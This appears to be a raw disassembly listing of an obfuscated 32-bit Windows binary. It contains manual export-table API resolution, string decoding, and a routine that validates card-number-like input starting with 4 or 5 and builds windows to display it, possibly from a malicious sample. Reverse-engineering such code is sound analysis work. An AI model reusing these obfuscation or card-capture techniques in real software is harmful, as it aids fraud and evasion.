		jnz	loc_4213A8
		mov	eax, [ebp+var_108]
		movsx	ecx, word ptr ds:10012114h
		movsx	esi, word ptr ds:100120D0h
		add	ecx, esi
		mul	ecx
		mov	[ebp+var_288], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+24h]
		mov	[ebp+var_114], edx
		movzx	eax, word ptr [edx]
		mov	[ebp+var_22C], eax
		mov	ecx, ds:100121CCh
		add	ecx, ds:1001209Ch
		sub	ecx, 8
		mul	ecx
		mov	[ebp+var_28C], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+1Ch]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_230], edx
		mov	ds:100121D4h, ebx
		mov	ds:1000E1F8h, edx
		lea	edi, [ebp+var_23D]
		lea	esi, ds:100122F8h
		mov	ecx, 0Dh
		rep movsb
		lea	edi, [ebp+var_252]
		lea	esi, ds:10012305h
		mov	ecx, 15h
		rep movsb
		lea	edi, [ebp+var_26C]
		lea	esi, ds:1001231Ah
		mov	ecx, 0Dh
		rep movsw
		lea	edi, [ebp+var_281]
		lea	esi, ds:10012334h
		mov	ecx, 15h
		rep movsb
		lea	eax, [ebp+var_23D]
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011B90h, eax
		lea	eax, [ebp+var_252]
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1001165Ch, eax
		lea	eax, [ebp+var_26C]
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000D008h, eax
		lea	eax, [ebp+var_281]
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1001064Ch, eax
		jmp	short loc_4213C3
; ---------------------------------------------------------------------------


loc_4213A8:				; CODE XREF: sub_421013+1E8j
					; sub_421013+203j ...
		inc	[ebp+var_108]


loc_4213AE:				; CODE XREF: sub_421013+187j
		mov	eax, [ebp+var_110]
		mov	eax, [eax+18h]
		cmp	[ebp+var_108], eax
		jb	loc_42119F


loc_4213C3:				; CODE XREF: sub_421013:loc_421181j
					; sub_421013+393j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421013	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4213C8	proc near		; CODE XREF: sub_41B3C2+18Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		mov	eax, ds:100121C8h
		sub	eax, 2
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr ds:1000E5ECh
		mov	edi, eax
		or	edi, edi
		jz	short loc_4213F5
		xor	eax, eax
		jmp	short loc_421422
; ---------------------------------------------------------------------------


loc_4213F5:				; CODE XREF: sub_4213C8+27j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword ptr ds:1000C03Ch
		mov	edi, eax
		push	[ebp+var_4]
		call	dword ptr ds:10011618h
		or	edi, edi
		jz	short loc_42141F
		xor	eax, eax
		jmp	short loc_421422
; ---------------------------------------------------------------------------


loc_42141F:				; CODE XREF: sub_4213C8+51j
		xor	eax, eax
		inc	eax


loc_421422:				; CODE XREF: sub_4213C8+2Bj
					; sub_4213C8+55j
		pop	edi
		leave
		retn
sub_4213C8	endp

; ---------------------------------------------------------------------------
		db 0B8h, 1, 40h
		dd 8C28000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42142D	proc near		; CODE XREF: sub_41E5D9+A3p
					; sub_41E5D9+DAp ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		mov	edx, 0CCCCCCCDh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		add	edi, 61h
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		mov	al, [ebp+arg_0]
		cmp	al, 65h
		jz	short loc_42146E
		cmp	al, 79h
		jz	short loc_42146E
		cmp	al, 75h
		jz	short loc_42146E
		cmp	al, 69h
		jz	short loc_42146E
		cmp	al, 6Fh
		jz	short loc_42146E
		cmp	al, 61h
		jnz	short loc_421472


loc_42146E:				; CODE XREF: sub_42142D+2Bj
					; sub_42142D+2Fj ...
		add	[ebp+arg_0], 1


loc_421472:				; CODE XREF: sub_42142D+3Fj
		cmp	[ebp+arg_0], 6Ah
		jnz	short loc_42147C
		add	[ebp+arg_0], 1


loc_42147C:				; CODE XREF: sub_42142D+49j
		movzx	eax, [ebp+arg_0]
		pop	edi
		pop	ebx
		leave
		retn
sub_42142D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421484	proc near		; CODE XREF: sub_41C68E+20p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	1000h
		push	[ebp+arg_0]
		push	0
		call	dword ptr ds:1000F248h
		pop	ebp
		retn
sub_421484	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42149B	proc near		; CODE XREF: sub_41F4F7+BA2p

var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2BE		= byte ptr -2BEh
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_253		= byte ptr -253h
var_23F		= byte ptr -23Fh
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10A		= byte ptr -10Ah
var_108		= byte ptr -108h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
var_102		= word ptr -102h
var_FF		= byte ptr -0FFh
var_FE		= byte ptr -0FEh
var_FB		= byte ptr -0FBh
var_F9		= byte ptr -0F9h
var_F8		= byte ptr -0F8h
var_F7		= byte ptr -0F7h
var_F6		= byte ptr -0F6h
var_F4		= byte ptr -0F4h
var_F1		= byte ptr -0F1h
var_F0		= byte ptr -0F0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30Ch
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	loc_4223D4
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		cmp	al, 34h
		jz	short loc_4214C2
		cmp	al, 35h
		jnz	loc_4223D4


loc_4214C2:				; CODE XREF: sub_42149B+1Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_4214CA:				; CODE XREF: sub_42149B+34j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4214CA
		mov	[ebp+var_128], eax
		mov	edx, ds:100120B4h
		add	edx, 8
		cmp	eax, edx
		jz	short loc_4214F5
		mov	edx, ds:100120A0h
		add	edx, 0Fh
		cmp	eax, edx
		jnz	loc_4223D4


loc_4214F5:				; CODE XREF: sub_42149B+47j
		mov	eax, ds:100121A4h
		mov	ebx, eax
		add	ebx, ds:1001212Ch
		sub	ebx, 5
		jmp	short loc_42152B
; ---------------------------------------------------------------------------


loc_421507:				; CODE XREF: sub_42149B+9Bj
		mov	eax, 30h
		mul	ebx
		mov	[ebp+var_260], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_260]
		cmp	ds:1000F370h[edx], eax
		jz	loc_4223D4
		inc	ebx


loc_42152B:				; CODE XREF: sub_42149B+6Aj
		mov	eax, ds:100120ACh
		lea	eax, [eax+eax+5Eh]
		cmp	ebx, eax
		jb	short loc_421507
		movsx	eax, word ptr ds:100120B0h
		movsx	edx, word ptr ds:10012154h
		lea	eax, [eax+edx+3]
		cmp	[ebp+var_128], eax
		jnz	loc_4216F7
		mov	eax, [ebp+arg_0]
		mov	al, [eax+4]
		cmp	al, 2Dh
		jz	short loc_421568
		cmp	al, 20h
		jnz	loc_4223D4


loc_421568:				; CODE XREF: sub_42149B+C3j
		mov	eax, [ebp+arg_0]
		mov	al, [eax+9]
		cmp	al, 2Dh
		jz	short loc_42157A
		cmp	al, 20h
		jnz	loc_4223D4


loc_42157A:				; CODE XREF: sub_42149B+D5j
		mov	eax, [ebp+arg_0]
		mov	al, [eax+0Eh]
		cmp	al, 2Dh
		jz	short loc_42158C
		cmp	al, 20h
		jnz	loc_4223D4


loc_42158C:				; CODE XREF: sub_42149B+E7j
		mov	eax, ds:10012144h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx]
		mov	[ebp+eax+var_104], dl
		movsx	eax, word ptr ds:1001219Ch
		mov	edx, eax
		add	edx, eax
		mov	eax, [ebp+arg_0]
		mov	al, [eax+1]
		mov	[ebp+edx+var_10A], al
		mov	eax, ds:100121C4h
		add	eax, ds:100120E4h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+2]
		mov	[ebp+eax+var_104], dl
		mov	eax, ds:1001209Ch
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+3]
		mov	[ebp+eax+var_104], dl
		mov	eax, ds:10012198h
		add	eax, ds:100121B4h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+5]
		mov	[ebp+eax+var_104], dl
		mov	eax, ds:100120B8h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+6]
		mov	[ebp+eax+var_FE], dl
		mov	eax, ds:100121B0h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+7]
		mov	[ebp+eax+var_F9], dl
		mov	eax, ds:100121C0h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+8]
		mov	[ebp+eax+var_FB], dl
		movsx	eax, word ptr ds:10012194h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ah]
		mov	[ebp+eax+var_F7], dl
		mov	eax, ds:10012120h
		add	eax, 3
		movsx	edx, word ptr ds:10012110h
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Bh]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word ptr ds:10012168h
		movsx	edx, word ptr ds:100120B0h
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ch]
		mov	[ebp+eax+var_105], dl
		mov	eax, ds:100121A4h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Dh]
		mov	[ebp+eax+var_F4], dl
		mov	eax, ds:1001211Ch
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Fh]
		mov	[ebp+eax+var_F6], dl
		movsx	eax, word ptr ds:10012110h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+10h]
		mov	[ebp+eax+var_F6], dl
		mov	eax, ds:10012158h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+11h]
		mov	[ebp+eax+var_F1], dl
		mov	eax, ds:10012138h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+12h]
		mov	[ebp+eax+var_F8], dl
		movsx	eax, word ptr ds:10012090h
		mov	edx, ds:100121C4h
		add	edx, ds:100120ECh
		sub	edx, 0Ah
		mov	[ebp+eax+var_F0], dl
		jmp	short loc_421706
; ---------------------------------------------------------------------------


loc_4216F7:				; CODE XREF: sub_42149B+B5j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_424F6D


loc_421706:				; CODE XREF: sub_42149B+25Aj
		movsx	esi, word ptr ds:100120DCh
		sub	esi, 6
		jmp	short loc_421727
; ---------------------------------------------------------------------------


loc_421712:				; CODE XREF: sub_42149B+29Cj
		mov	al, [ebp+esi+var_FF]
		cmp	al, 30h
		jl	short loc_421721
		cmp	al, 39h
		jle	short loc_421726


loc_421721:				; CODE XREF: sub_42149B+280j
		jmp	loc_4223D4
; ---------------------------------------------------------------------------


loc_421726:				; CODE XREF: sub_42149B+284j
		inc	esi


loc_421727:				; CODE XREF: sub_42149B+275j
		mov	eax, ds:100121C0h
		add	eax, 0Bh
		add	eax, ds:100120F8h
		cmp	esi, eax
		jb	short loc_421712
		mov	eax, ds:100120E4h
		add	eax, ds:10012164h
		sub	eax, 2
		mov	[ebp-108h], eax
		mov	esi, ds:1001212Ch
		sub	esi, 5
		jmp	short loc_42179E
; ---------------------------------------------------------------------------


loc_421758:				; CODE XREF: sub_42149B+313j
		movsx	eax, [ebp+esi+var_FF]
		sub	eax, 30h
		movsx	edx, word ptr ds:100120DCh
		add	edx, ds:100120A8h
		sub	edx, 7
		imul	eax, edx
		add	[ebp-108h], eax
		cmp	[ebp+esi+var_FF], 34h
		jle	short loc_421792
		mov	eax, ds:1001209Ch
		inc	eax
		sub	[ebp-108h], eax


loc_421792:				; CODE XREF: sub_42149B+2E9j
		movsx	eax, word ptr ds:10012110h
		sub	eax, 2
		add	esi, eax


loc_42179E:				; CODE XREF: sub_42149B+2BBj
		mov	eax, ds:10012190h
		add	eax, 0Ch
		add	eax, ds:10012124h
		cmp	esi, eax
		jb	short loc_421758
		movsx	eax, word ptr ds:10012168h
		mov	ebx, eax
		add	ebx, ds:10012118h
		sub	ebx, 8
		jmp	short loc_4217E1
; ---------------------------------------------------------------------------


loc_4217C4:				; CODE XREF: sub_42149B+350j
		movsx	eax, [ebp+ebx+var_FF]
		sub	eax, 30h
		add	[ebp-108h], eax
		movsx	eax, word ptr ds:100121BCh
		sub	eax, 4
		add	ebx, eax


loc_4217E1:				; CODE XREF: sub_42149B+327j
		mov	eax, ds:1001212Ch
		add	eax, 0Bh
		cmp	ebx, eax
		jb	short loc_4217C4
		mov	eax, [ebp-108h]
		mov	ecx, 0Ah
		xor	edx, edx
		div	ecx
		movsx	edi, word ptr ds:100121A8h
		add	edi, ds:10012108h
		cmp	edx, edi
		jnz	loc_4223D4
		lea	eax, [ebp+var_FF]
		push	eax
		call	dword ptr ds:10011774h
		pop	ecx
		or	eax, eax
		jnz	loc_4223D4
		mov	eax, ds:100120C0h
		movsx	edx, word ptr ds:10012154h
		mov	esi, eax
		add	esi, edx
		sub	esi, 9
		mov	esi, ds:10012190h
		sub	esi, 3
		jmp	short loc_42185D
; ---------------------------------------------------------------------------


loc_421845:				; CODE XREF: sub_42149B+3D5j
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_264], eax
		cmp	dword ptr ds:1000F370h[eax], 0
		jz	short loc_421872
		inc	esi


loc_42185D:				; CODE XREF: sub_42149B+3A8j
		mov	eax, ds:10012174h
		add	eax, 5Bh
		movsx	edx, word ptr ds:100121A8h
		add	eax, edx
		cmp	esi, eax
		jb	short loc_421845


loc_421872:				; CODE XREF: sub_42149B+3BFj
		mov	eax, ds:1001213Ch
		add	eax, 62h
		cmp	esi, eax
		jz	loc_4223D4
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_268], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_268]
		mov	ds:1000F370h[edx], eax
		push	10012EFEh
		call	sub_4228CE
		pop	ecx
		push	0
		push	eax
		push	0
		push	[ebp+arg_4]
		call	dword ptr ds:10011638h
		mov	[ebp+var_134], eax
		test	eax, eax
		jnz	short loc_4218CB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_134], eax


loc_4218CB:				; CODE XREF: sub_42149B+425j
		push	10012EF1h
		call	sub_4228CE
		push	eax
		push	[ebp+var_134]
		call	sub_41DBFE
		mov	[ebp+var_12C], eax
		push	10012EE8h
		push	eax
		call	sub_41DBFE
		add	esp, 14h
		mov	[ebp+var_26C], eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_270], eax
		mov	edi, [ebp+var_26C]
		mov	ebx, eax
		mov	ds:1000F374h[ebx], edi
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_274], eax
		push	dword ptr ds:1000F374h[eax]
		call	dword ptr ds:10011658h
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+var_12C]
		call	dword ptr ds:10011650h
		push	0
		call	dword ptr ds:1000E5E8h
		mov	[ebp-10Ch], eax
		push	0
		push	eax
		push	0
		push	[ebp+var_12C]
		mov	eax, [ebp+var_110]
		sub	eax, [ebp+var_118]
		push	eax
		mov	eax, [ebp+var_114]
		sub	eax, [ebp+var_11C]
		push	eax
		mov	eax, ds:100120FCh
		add	eax, ds:100121B4h
		sub	eax, 8
		push	eax
		mov	eax, ds:10012124h
		dec	eax
		push	eax
		push	50800000h
		lea	eax, [ebp+var_FF]
		push	eax
		push	10012EE1h
		push	200h
		call	dword ptr ds:10010648h
		mov	[ebp+var_278], eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_27C], eax
		mov	edi, [ebp+var_278]
		mov	ebx, eax
		mov	ds:1000F378h[ebx], edi
		mov	edi, [ebp+var_110]
		sub	edi, [ebp+var_118]
		mov	ebx, ds:100120CCh
		add	ebx, 0F9h
		sub	edi, ebx
		mov	ebx, ds:10012124h
		add	ebx, 34h
		add	ebx, ds:1001210Ch
		mov	eax, edi
		sub	eax, ebx
		xor	edx, edx
		test	eax, eax
		setl	dl
		add	eax, edx
		sar	eax, 1
		mov	[ebp+var_124], eax
		mov	eax, ds:100120F0h
		movsx	edx, word ptr ds:100120DCh
		add	eax, edx
		sub	eax, 0Ah
		cmp	[ebp+var_124], eax
		jge	short loc_421A32
		mov	eax, ds:1001214Ch
		sub	eax, 5
		mov	[ebp+var_124], eax


loc_421A32:				; CODE XREF: sub_42149B+587j
		mov	eax, [ebp+var_114]
		sub	eax, [ebp+var_11C]
		movsx	edx, word ptr ds:100120D8h
		add	edx, 28h
		sub	eax, edx
		mov	[ebp+var_120], eax
		push	10012ED7h
		call	sub_4228CE
		mov	[ebp+var_280], eax
		push	10012EBEh
		call	sub_4228CE
		mov	[ebp+var_284], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_288], eax
		mov	edi, eax
		push	dword ptr ds:1000F378h[edi]
		mov	edi, ds:1001214Ch
		add	edi, 36h
		push	edi
		push	[ebp+var_120]
		push	[ebp+var_124]
		mov	edi, ds:100120C0h
		add	edi, 13h
		add	edi, ds:10012130h
		push	edi
		push	50800000h
		mov	edi, [ebp+var_284]
		push	edi
		mov	edi, [ebp+var_280]
		push	edi
		movsx	edi, word ptr ds:10012194h
		add	edi, ds:100120F8h
		sub	edi, 2
		push	edi
		call	dword ptr ds:10010648h
		mov	[ebp+var_138], eax
		push	10012EB4h
		call	sub_4228CE
		mov	[ebp+var_28C], eax
		push	10012EB0h
		call	sub_4228CE
		add	esp, 10h
		mov	[ebp+var_290], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_294], eax
		mov	edi, eax
		push	dword ptr ds:1000F378h[edi]
		movsx	edi, word ptr ds:100120E0h
		mov	ebx, ds:1001215Ch
		lea	edi, [edi+ebx+0F6h]
		push	edi
		push	[ebp+var_120]
		mov	edi, [ebp+var_124]
		mov	ebx, ds:1001212Ch
		add	ebx, 30h
		movsx	edx, word ptr ds:100120C8h
		add	ebx, edx
		add	edi, ebx
		mov	ebx, ds:10012130h
		inc	ebx
		add	edi, ebx
		push	edi
		movsx	edi, word ptr ds:10012194h
		add	edi, 14h
		push	edi
		push	50800009h
		mov	edi, [ebp+var_290]
		push	edi
		mov	edi, [ebp+var_28C]
		push	edi
		mov	edi, ds:100120B4h
		add	edi, ds:100121B4h
		sub	edi, 9
		push	edi
		call	dword ptr ds:10010648h
		mov	[ebp+var_13C], eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, ds:100121B4h
		dec	eax
		push	eax
		mov	eax, ds:10012118h
		add	eax, ds:10012174h
		sub	eax, 0Ah
		push	eax
		mov	eax, ds:100120B8h
		movsx	edx, word ptr ds:100120E8h
		add	eax, edx
		sub	eax, 9
		push	eax
		push	2BCh
		mov	eax, ds:1001217Ch
		movsx	edx, word ptr ds:10012128h
		add	eax, edx
		sub	eax, 6
		push	eax
		mov	eax, ds:1001210Ch
		add	eax, ds:10012178h
		sub	eax, 0Ah
		push	eax
		movsx	eax, word ptr ds:1001216Ch
		add	eax, 4
		push	eax
		mov	eax, ds:10012164h
		add	eax, 10h
		add	eax, ds:100120A0h
		push	eax
		call	dword ptr ds:1000F250h
		mov	[ebp+var_140], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_138]
		call	dword ptr ds:1000C014h
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		push	[ebp+var_13C]
		mov	eax, ds:100120F0h
		add	eax, 0EDh
		add	eax, ds:10012174h
		movsx	edx, word ptr ds:10012168h
		sub	edx, 4
		sub	eax, edx
		push	eax
		mov	eax, [ebp+var_120]
		mov	edx, ds:100121B8h
		movsx	ecx, word ptr ds:100120BCh
		add	edx, ecx
		sub	edx, 8
		sub	eax, edx
		push	eax
		movsx	eax, word ptr ds:100121BCh
		add	eax, ds:1001211Ch
		sub	eax, 8
		push	eax
		mov	eax, ds:100120ECh
		sub	eax, 4
		push	eax
		push	50000000h
		push	10012EA7h
		push	10012EA9h
		mov	eax, ds:100120B4h
		sub	eax, 8
		push	eax
		call	dword ptr ds:10010648h
		mov	[ebp+var_298], eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_29C], eax
		mov	edi, [ebp+var_298]
		mov	ebx, eax
		mov	ds:1000F37Ch[ebx], edi
		mov	eax, ds:100120A4h
		movsx	edx, word ptr ds:100120C8h
		add	eax, edx
		cmp	[ebp+eax+var_108], 34h
		jnz	short loc_421D00
		push	10012EA2h
		lea	eax, [ebp+var_253]
		push	eax
		call	sub_424F6D
		jmp	short loc_421D18
; ---------------------------------------------------------------------------


loc_421D00:				; CODE XREF: sub_42149B+850j
		push	10012E94h
		call	sub_4228CE
		pop	ecx
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	sub_424F6D


loc_421D18:				; CODE XREF: sub_42149B+863j
		push	10012E22h
		call	sub_4228CE
		lea	edi, [ebp+var_FF]
		push	edi
		lea	edi, [ebp+var_253]
		push	edi
		push	eax
		lea	edi, [ebp+var_23F]
		push	edi
		call	dword ptr ds:10011634h
		push	10012E18h
		call	sub_4228CE
		add	esp, 18h
		mov	[ebp+var_2A0], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2A4], eax
		mov	edi, eax
		push	dword ptr ds:1000F37Ch[edi]
		mov	edi, ds:10012144h
		add	edi, 2Bh
		push	edi
		push	[ebp+var_120]
		mov	edi, ds:10012190h
		add	edi, 7
		push	edi
		mov	edi, ds:100121C4h
		add	edi, 5
		push	edi
		push	50000000h
		lea	edi, [ebp+var_23F]
		push	edi
		mov	edi, [ebp+var_2A0]
		push	edi
		mov	edi, ds:10012098h
		movsx	ebx, word ptr ds:100120D8h
		add	edi, ebx
		sub	edi, 0Ch
		push	edi
		call	dword ptr ds:10010648h
		mov	[ebp+var_258], eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, ds:100120B8h
		sub	eax, 4
		push	eax
		mov	eax, ds:10012158h
		add	eax, ds:1001218Ch
		dec	eax
		push	eax
		movsx	eax, word ptr ds:10012100h
		sub	eax, 9
		push	eax
		push	190h
		mov	eax, ds:10012198h
		sub	eax, 8
		push	eax
		mov	eax, ds:100120C4h
		sub	eax, 4
		push	eax
		movsx	eax, word ptr ds:10012168h
		sub	eax, 2
		push	eax
		mov	eax, ds:100120A8h
		add	eax, 9
		movsx	edx, word ptr ds:10012110h
		add	eax, edx
		push	eax
		call	dword ptr ds:1000F250h
		mov	[ebp+var_130], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_258]
		call	dword ptr ds:1000C014h
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2A8], eax
		mov	[ebp+var_2AC], eax
		push	dword ptr ds:1000F37Ch[eax]
		mov	edx, ds:100120FCh
		add	edx, 121h
		add	edx, ds:100120B8h
		push	edx
		mov	edx, ds:100120ECh
		movsx	ecx, word ptr ds:10012100h
		lea	ecx, [ecx+edx+24h]
		push	ecx
		mov	ecx, ds:100121B0h
		mov	ebx, ds:10012094h
		add	ebx, 45h
		add	ebx, ecx
		push	ebx
		mov	ebx, ds:10012174h
		inc	ebx
		push	ebx
		push	50800003h
		push	10012E0Eh
		push	10012E0Fh
		add	edx, ecx
		sub	edx, 5
		push	edx
		call	dword ptr ds:10010648h
		mov	edi, [ebp+var_2AC]
		mov	ds:1000F380h[edi], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2B0], eax
		mov	[ebp+var_2B4], eax
		push	dword ptr ds:1000F37Ch[eax]
		movsx	edx, word ptr ds:10012110h
		mov	ecx, ds:10012108h
		lea	edx, [edx+ecx+128h]
		push	edx
		movsx	edx, word ptr ds:100120B0h
		mov	ecx, ds:100120F0h
		lea	edx, [edx+ecx+30h]
		push	edx
		movsx	edx, word ptr ds:100120E8h
		mov	ecx, ds:100120E4h
		add	ecx, 44h
		add	ecx, edx
		push	ecx
		mov	ecx, ds:10012104h
		add	ecx, 3Eh
		add	ecx, edx
		push	ecx
		push	50800003h
		push	10012E0Eh
		push	10012E0Fh
		movsx	edx, word ptr ds:10012148h
		sub	edx, 3
		push	edx
		call	dword ptr ds:10010648h
		mov	edi, [ebp+var_2B4]
		mov	ds:1000F384h[edi], eax
		mov	eax, ds:10012134h
		add	eax, ds:10012120h
		sub	eax, 4
		mov	[ebp+var_102], ax
		jmp	loc_422035
; ---------------------------------------------------------------------------


loc_421F81:				; CODE XREF: sub_42149B+BACj
		push	10012E06h
		call	sub_4228CE
		movzx	edi, [ebp+var_102]
		push	edi
		push	eax
		lea	edi, [ebp+var_2BE]
		push	edi
		call	dword ptr ds:10011634h
		lea	eax, [ebp+var_2BE]
		push	eax
		mov	eax, ds:100120B8h
		add	eax, ds:100120B4h
		sub	eax, 0Ch
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2C4], eax
		push	dword ptr ds:1000F380h[eax]
		call	dword ptr ds:1000C014h
		push	10012DFCh
		call	sub_4228CE
		movzx	edi, [ebp+var_102]
		mov	ebx, ds:100120ECh
		inc	ebx
		add	edi, ebx
		push	edi
		push	eax
		lea	edi, [ebp+var_2BE]
		push	edi
		call	dword ptr ds:10011634h
		add	esp, 20h
		lea	eax, [ebp+var_2BE]
		push	eax
		push	dword ptr ds:10012130h
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2C8], eax
		push	dword ptr ds:1000F384h[eax]
		call	dword ptr ds:1000C014h
		inc	[ebp+var_102]


loc_422035:				; CODE XREF: sub_42149B+AE1j
		movzx	eax, [ebp+var_102]
		mov	edx, ds:100121A4h
		add	edx, 0Dh
		cmp	eax, edx
		jl	loc_421F81
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2B8], eax
		mov	[ebp+var_2BC], eax
		push	dword ptr ds:1000F37Ch[eax]
		movsx	edx, word ptr ds:10012110h
		add	edx, 14h
		push	edx
		mov	edx, ds:10012138h
		add	edx, 4Dh
		movsx	ecx, word ptr ds:100120E0h
		add	edx, ecx
		push	edx
		movsx	edx, word ptr ds:100120D8h
		add	edx, 77h
		push	edx
		movsx	edx, word ptr ds:1001219Ch
		add	edx, 29h
		push	edx
		push	50800000h
		push	10012E0Eh
		push	10012DF7h
		push	200h
		call	dword ptr ds:10010648h
		mov	edi, [ebp+var_2BC]
		mov	ds:1000F388h[edi], eax
		movsx	eax, word ptr ds:100120BCh
		add	eax, ds:100120ACh
		sub	eax, 0Ch
		push	eax
		push	58h
